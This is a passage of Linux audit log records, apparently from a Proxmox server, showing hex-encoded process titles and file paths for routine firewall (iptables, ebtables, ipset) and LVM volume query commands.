proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965864307,"@rawstring":"node=pve type=PATH msg=audit(1781965864.307:67415): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015426,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.426:68065): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965864307,"@rawstring":"node=pve type=PATH msg=audit(1781965864.307:67415): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015100,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.100:68064): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965859559,"@rawstring":"node=pve type=PATH msg=audit(1781965859.559:67414): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015100,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.100:68063): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965859559,"@rawstring":"node=pve type=PATH msg=audit(1781965859.559:67414): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015100,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.100:68062): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965859559,"@rawstring":"node=pve type=PATH msg=audit(1781965859.559:67413): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015093,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.093:68061): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965859559,"@rawstring":"node=pve type=PATH msg=audit(1781965859.559:67412): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015093,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.093:68060): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965859551,"@rawstring":"node=pve type=PATH msg=audit(1781965859.551:67411): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966015093,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966015.093:68059): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965859551,"@rawstring":"node=pve type=PATH msg=audit(1781965859.551:67411): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966014505,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966014.505:68058): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965859551,"@rawstring":"node=pve type=PATH msg=audit(1781965859.551:67410): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966014472,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966014.472:68057): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965859551,"@rawstring":"node=pve type=PATH msg=audit(1781965859.551:67409): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966010083,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966010.083:68056): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965855967,"@rawstring":"node=pve type=PATH msg=audit(1781965855.967:67408): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966010083,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966010.083:68055): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965855967,"@rawstring":"node=pve type=PATH msg=audit(1781965855.967:67408): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966010083,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966010.083:68054): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965855963,"@rawstring":"node=pve type=PATH msg=audit(1781965855.963:67407): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966010078,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966010.078:68053): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965855963,"@rawstring":"node=pve type=PATH msg=audit(1781965855.963:67407): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966010078,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966010.078:68052): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965855962,"@rawstring":"node=pve type=PATH msg=audit(1781965855.962:67406): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966010078,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966010.078:68051): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965855962,"@rawstring":"node=pve type=PATH msg=audit(1781965855.962:67406): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005414,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.414:68050): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965855962,"@rawstring":"node=pve type=PATH msg=audit(1781965855.962:67405): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005411,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.411:68049): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965855957,"@rawstring":"node=pve type=PATH msg=audit(1781965855.957:67404): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005410,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.410:68048): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965855957,"@rawstring":"node=pve type=PATH msg=audit(1781965855.957:67404): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005410,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.410:68047): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965855957,"@rawstring":"node=pve type=PATH msg=audit(1781965855.957:67404): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005405,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.405:68046): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965855950,"@rawstring":"node=pve type=PATH msg=audit(1781965855.950:67403): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005397,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.397:68045): proctitle=\"ip6tables-save\""} {"@timestamp":1781965855950,"@rawstring":"node=pve type=PATH msg=audit(1781965855.950:67403): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005389,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.389:68044): proctitle=\"iptables-save\""} {"@timestamp":1781965855940,"@rawstring":"node=pve type=PATH msg=audit(1781965855.940:67402): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005379,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.379:68043): proctitle=\"ip6tables-save\""} {"@timestamp":1781965855940,"@rawstring":"node=pve type=PATH msg=audit(1781965855.940:67402): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005371,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.371:68042): proctitle=\"iptables-save\""} {"@timestamp":1781965855932,"@rawstring":"node=pve type=PATH msg=audit(1781965855.932:67401): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005367,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.367:68041): proctitle=\"ebtables-restore\""} {"@timestamp":1781965855932,"@rawstring":"node=pve type=PATH msg=audit(1781965855.932:67401): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005363,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.363:68040): proctitle=\"ebtables-restore\""} {"@timestamp":1781965855924,"@rawstring":"node=pve type=PATH msg=audit(1781965855.924:67400): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005355,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.355:68039): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965855924,"@rawstring":"node=pve type=PATH msg=audit(1781965855.924:67400): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005348,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.348:68038): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965855917,"@rawstring":"node=pve type=PATH msg=audit(1781965855.917:67398): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005340,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.340:68037): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965855917,"@rawstring":"node=pve type=PATH msg=audit(1781965855.917:67398): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005334,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.334:68036): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965855909,"@rawstring":"node=pve type=PATH msg=audit(1781965855.909:67397): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005328,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.328:68035): proctitle=697073657400726573746F7265"} {"@timestamp":1781965855909,"@rawstring":"node=pve type=PATH msg=audit(1781965855.909:67397): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005320,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.320:68034): proctitle=\"ip6tables-save\""} {"@timestamp":1781965855901,"@rawstring":"node=pve type=PATH msg=audit(1781965855.901:67396): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005313,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.313:68033): proctitle=\"iptables-save\""} {"@timestamp":1781965855901,"@rawstring":"node=pve type=PATH msg=audit(1781965855.901:67396): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005308,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.308:68032): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965855894,"@rawstring":"node=pve type=PATH msg=audit(1781965855.894:67395): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005305,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.305:68031): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965855894,"@rawstring":"node=pve type=PATH msg=audit(1781965855.894:67395): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005304,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.304:68030): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965855887,"@rawstring":"node=pve type=PATH msg=audit(1781965855.887:67394): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005304,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.304:68029): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965855887,"@rawstring":"node=pve type=PATH msg=audit(1781965855.887:67394): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005299,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.299:68028): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965855881,"@rawstring":"node=pve type=PATH msg=audit(1781965855.881:67393): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005291,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.291:68027): proctitle=\"ip6tables-save\""} {"@timestamp":1781965855881,"@rawstring":"node=pve type=PATH msg=audit(1781965855.881:67393): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005283,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.283:68026): proctitle=\"iptables-save\""} {"@timestamp":1781965855872,"@rawstring":"node=pve type=PATH msg=audit(1781965855.872:67392): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005277,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.277:68025): proctitle=69707365740073617665"} {"@timestamp":1781965855872,"@rawstring":"node=pve type=PATH msg=audit(1781965855.872:67392): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005268,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.268:68024): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965855865,"@rawstring":"node=pve type=PATH msg=audit(1781965855.865:67391): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005257,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.257:68023): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965855865,"@rawstring":"node=pve type=PATH msg=audit(1781965855.865:67391): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005069,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.069:68022): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965855861,"@rawstring":"node=pve type=PATH msg=audit(1781965855.861:67390): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005069,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.069:68021): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965855861,"@rawstring":"node=pve type=PATH msg=audit(1781965855.861:67390): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005069,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.069:68020): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965855856,"@rawstring":"node=pve type=PATH msg=audit(1781965855.856:67389): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005062,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.062:68019): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965855856,"@rawstring":"node=pve type=PATH msg=audit(1781965855.856:67389): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005062,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.062:68018): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965855855,"@rawstring":"node=pve type=PATH msg=audit(1781965855.855:67388): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966005062,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966005.062:68017): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965855855,"@rawstring":"node=pve type=PATH msg=audit(1781965855.855:67388): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966004373,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966004.373:68016): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965855855,"@rawstring":"node=pve type=PATH msg=audit(1781965855.855:67387): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966004344,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966004.344:68015): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965855851,"@rawstring":"node=pve type=PATH msg=audit(1781965855.851:67386): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966000054,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966000.054:68014): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965855851,"@rawstring":"node=pve type=PATH msg=audit(1781965855.851:67386): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966000054,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966000.054:68013): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965855851,"@rawstring":"node=pve type=PATH msg=audit(1781965855.851:67386): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966000054,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966000.054:68012): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965855841,"@rawstring":"node=pve type=PATH msg=audit(1781965855.841:67385): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966000047,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966000.047:68011): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965855841,"@rawstring":"node=pve type=PATH msg=audit(1781965855.841:67385): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966000047,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966000.047:68010): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965855833,"@rawstring":"node=pve type=PATH msg=audit(1781965855.833:67384): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966000046,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966000.046:68009): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965855833,"@rawstring":"node=pve type=PATH msg=audit(1781965855.833:67384): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965995239,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965995.239:68008): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965855826,"@rawstring":"node=pve type=PATH msg=audit(1781965855.826:67383): item=1 